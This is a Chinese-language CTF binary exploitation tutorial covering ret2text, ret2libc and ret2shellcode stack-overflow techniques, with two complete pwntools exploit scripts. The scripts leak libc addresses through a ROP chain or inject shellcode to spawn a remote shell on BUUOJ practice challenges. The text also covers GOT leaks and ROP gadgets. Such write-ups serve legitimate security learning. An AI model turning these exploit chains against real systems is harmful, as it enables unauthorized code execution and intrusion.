Ret2text(源程序中存在system及/bin/sh)
控制程序执行程序本身已有的的代码(.text)。栈溢出,存在system()函数以及”/bin/sh”字符串。通过溢出将返回地址修改为system函数的地址,再将/bin/sh作为函数的参数进行调用,如此便可以得到一个shell。其中32位程序和64位程序由于函数形参的存储调用存在差别,故利用方式也会不同。
32位程序
在32位的程序中,形参存储在栈上并且是按从右到左的顺序进行存放,形参结束后存储的是函数的返回地址,接着是函数的地址。
函数调用过程中栈帧的变化
以下为栈溢出调用system函数过程中栈的变化。
其中call函数与直接用eip指向函数地址的区别
call函数的调用中存在两步,
- 首先将后面的代码,即是下一条指令的地址入栈(保护现场)
- 将调用函数的地址给到EIP执行
从call函数的执行可以看出会自动的将下一指令的地址入栈以保持栈的平衡,call的函数执行完成后会能恢复,所以当直接将函数地址赋给EIP时就需要手动的入栈一个返回地址以维持栈的平衡。
64位程序:
由于在64位程序中六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。如下
通过以上流程即是可以通过寻找我们需要的指令地址及字符串地址进行利用链的构造最后成功getshell。这既是要求在上述情况中存在调用system函数的情况并且能够在其中找到字符串/bin/sh才能进行利用。
以下使用一个在程序作为例题进行分析
例题:
获取附件
使用checksec检查是否开启了保护
发现是一个32位的程序,只开启了NX,即是栈不可执行
使用IDA32位进行分析
使用shift+F12得到如上所示的页面
其中存在/bin/sh,但现在需要一个函数调用它才能执行命令
首先双击echo Hello World
使用ctrl+x查看引用的函数
使用F5进行反汇编
发现存在vulnerable_function函数,双击进入
发现存在read函数可以利用
查看buf的长度,双击char buf进入buf变量的栈空间
发现buf的长度为0x88字节
加上ebp的长度4字节,(32位程序地址为32位,所占存储空间为4字节)
即是buf只用88字节,使用read函数输入的空间有100,超过了buf的长度,可造成栈溢出覆盖掉返回地址即可执行代码
因为前面存在了调用system函数,跳转到该函数,后面跟上该函数参数的地址即可
查看system的地址,回到主函数的汇编代码,此处使用call调用了一个system
地址为:0x0804849e
查看字符/bin/sh的位置,如下得到地址为:0x0804a024
构造exp
执行exp得到shell,执行命令
Ret2libc2(源程序中存在system的地址不存在/bin/sh)
ret2libc 即控制函数的执行 libc 中的函数
Bass段
BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。
Gets()函数
char gets(char *str):只有一个参数。参数类型为char*型。即是str可以是一个字符指针变量名,也可以是一个字符数组名。gets()函数的功能是从输入缓决区中读取一个字符串存到字符指针变量所指向的空间。
Readelf
用于显示ELF文件(如.so、.a、.o文件等)的相关信息。
使用readelf -S 文件名 //获取各段的信息
通常使用readelf -S 文件名 |grep bss
Ret2libc2
当一个程序存在栈溢出漏洞,查看代码发现能够找到system函数的地址但不存在/bin/sh。于是就需要将/bin/sh写入作为system函数的参数进行使用。
通常选择将/bin/sh字符串写入到.bss段。即是可以使用gets函数,将可以写入的bass段地址作为gets 的参数。即是首先需要找到bss段的地址。(使用readelf -S)进行查找。
在32位程序中通过栈溢出写入/bin/sh时栈空间的构造如下
Ret2libc3(源程序中不存在system的地址不存在/bin/sh)
此时的system函数属于的是libc动态链接库,而在libc.so中的函数之间的相对偏移为固定的,即是有序存放在libc中,当加载时如果能获取到libc的加载基地址,以及找到函数的偏移的话即可确定我们需要的函数地址。
- libc的不同函数的位置也是不同的,故我们需要确认他所使用的的libc,可通过泄漏libc中某个函数的位置来和已知的libc中该函数的位置做对比,从而确定libc,确认libc后即可确认ssytem的地址
- 获取libc中某个函数的地址时通常采用got表泄露,即是输出某个函数对应的got表项内容(got表相当于一张真实函数地址的索引表)。因为在libc中存在延迟绑定机制,即是只有被执行过的函数的真实地址才回绑定到got表中。
- 通过确认libc后寻找到system的偏移即可确定system函数的地址。
- 同时在libc中也可以找到/bin/sh字串进行组合执行
ROP链如下
- 泄漏某个已执行过的函数地址,(打印函数对应的got表项)
- 通过泄漏的函数地址确认libc版本
- 通过libc版本获取里面对应system和/bin/sh的地址
- 再次执行程序
- 触发溢出的system(‘/bin/sh’)
例题:
将下载的程序使用ida进行分析,main函数如下,为一个选择加解密的程序。
进入加密函数中
存在一个get输入并未限制其输入长度,存在栈溢出漏洞。查看s的长度为0x50,加上一个存放RBP的地址长度8 ,即是返回地址在第88字节以后。
其中输入的字符串会被加密即是进行一串异或,但可以在字符串开头使用/0绕过加密过程。
查看所有的字符串及函数,未发现system函数及/bin/sh等字符串
于是采用动态链接库libc中的函数进行shell获取
- 首先我们需要泄漏其中一个函数的地址来判断使用的libc版本
- 通过确认libc版本后计算出加载libc的基地址,计算出system和/bin/sh的地址
- 获取到system和/bin/sh地址后构造攻击链
Payload1:payload=b'\0'+b'a'*(0x50-1) +p64(0) + pop_rdi_ret + p64(puts_got) + p64(puts_plt) + main_addr
其中pop_rdi_ret为指令 pop rdi ret的地址(获取方法为:ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret' | grep 'rdi')
Payload2:payload1=b'\0' + b'a'*(0x58-1) + p64(ret) + pop_rdi_ret + p64(bin_sh_addr) + p64(system_addr)
其中p64(ret)为一条指令ret的地址(由于在ubuntu18以上版本调用system时需要使得esp的地址是16字节对齐,即是esp指向的地址末尾需要是0)
ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret' | grep 'ret'
完整的exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = "debug"
sh =remote("node4.buuoj.cn",25130)
elf=ELF("./ciscn_2019_c_1")
ret=0x4006B9
print("start1-----------------------------------")
puts_plt=elf.plt["puts"] #获取puts函数的plt表项地址
puts_got=elf.got["puts"] #获取puts函数的got表项地址
pop_rdi_ret=p64(0x400c83) #pop rdi ret 指令的地址
main_addr = p64(0x400B28) #main函数的地址
payload=b'\0'+b'a'*(0x50-1) +p64(0) + pop_rdi_ret + p64(puts_got) + p64(puts_plt) + main_addr #使用plt调用 puts函数,
#使用puts函数的got作为参数进行打印获取puts的真实地址,后返回main函数
sh.recv()
sh.sendline(b"1") #进入encrypt函数进行溢出
sh.recv()
sh.sendline(payload)
sh.recvuntil("Ciphertext\n")
sh.recvuntil("\n")
puts_addr=u64(sh.recv(6).ljust(8,b'\x00')) #接收真实puts地址 64位
##puts_addr = u32(io.recv(4)) #32位接收真实地址
print("realaddr:",hex(puts_addr))
print("start2------------------------")
obj = LibcSearcher("puts",puts_addr) #确认libc的版本
libcbase = puts_addr - obj.dump('puts') #dump计算偏移,从而求出libc的基址
system_addr = libcbase + obj.dump('system') #计算出system的偏移地址加上基址得到system的真实地址
bin_sh_addr = libcbase + obj.dump('str_bin_sh') #计算/bin/sh的真实地址
print("打印puts,system,/bin/sh的真实地址")
print("puts的真实地址:",hex(puts_addr))
print("system的真实地址:",hex(system_addr))
print("/bin/sh的真实地址:",hex(bin_sh_addr))
print("基地址:",hex(libcbase))
print("END!!!!!!!!!")
print("start3------------------------")
payload1=b'\0' + b'a'*(0x58-1) + p64(ret) + pop_rdi_ret + p64(bin_sh_addr) + p64(system_addr) #在返回地址上写入ret的地址维持RSP对齐
sh.sendline(b'1') #发送1进入encrypt函数
sh.recvuntil("encrypted\n")
sh.sendline(payload1)
sh.interactive()
成功获取shell
Ret2shellcode(执行自己填充的代码)
在该种类型中由于我们需要执行自己的代码,即是要求写入shellcode的地方具备可写可执行权限。
利用条件:
- 存在栈溢出
- 输入的数据存放的区域可执行(直接输入到栈上或被复制到其他的位置)
Shellcode生成
pwntool中内置了生成shellcode的函数。在32位环境下使用asm(shellcraft.sh()),在64位环境下使用asm(shellcraft.amd64.sh()),即可生成shellcode
目标位64位机器时,需要先设置目标机的参数
context(os=’linux’, arch=’amd64’, log_level=’debug’)//主要设置arch=amd64
//os设置系统为linux系统,大多数pwn题目的系统都是linux
//arch设置为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
例题:
首先检查安全保护
发现存在可读写执行的段,既可以写入shellcode的方式获取shell
使用64位的IDA进行分析获取源码如下
输入两段数据,name读取100个字符存入,不存在溢出
在输入text时未做输入限制,可能存在溢出漏洞
首先查看name的存储位置
Bss段的0x601080
查看text的大小,text大小30,离ebp的距离为32
此时如果name段拥有执行权限时,即可通过text溢出跳转到name的shellcode执行
使用工具生成shellcode
shellcode=(asm(shellcraft.amd64.sh()))
完整EXP
from pwn import *
context.log_level = "debug"
context.os='linux'
context.arch='amd64'
#elf=ELF('./ciscn_2019_n_5')
sh =remote("node4.buuoj.cn",28370)
shellcode=(asm(shellcraft.amd64.sh())) #生成shellcode 64位需要设置开头第三第四行
payload=b'a'*(0x20+8)+p64(0x601080) #计算溢出的大小,将返回地址覆盖为写入的shellcode地址
#print(shellcode)
sh.recv()
sh.sendline(shellcode)
sh.recv()
sh.sendline(payload)
sh.interactive()
成功获取到shell。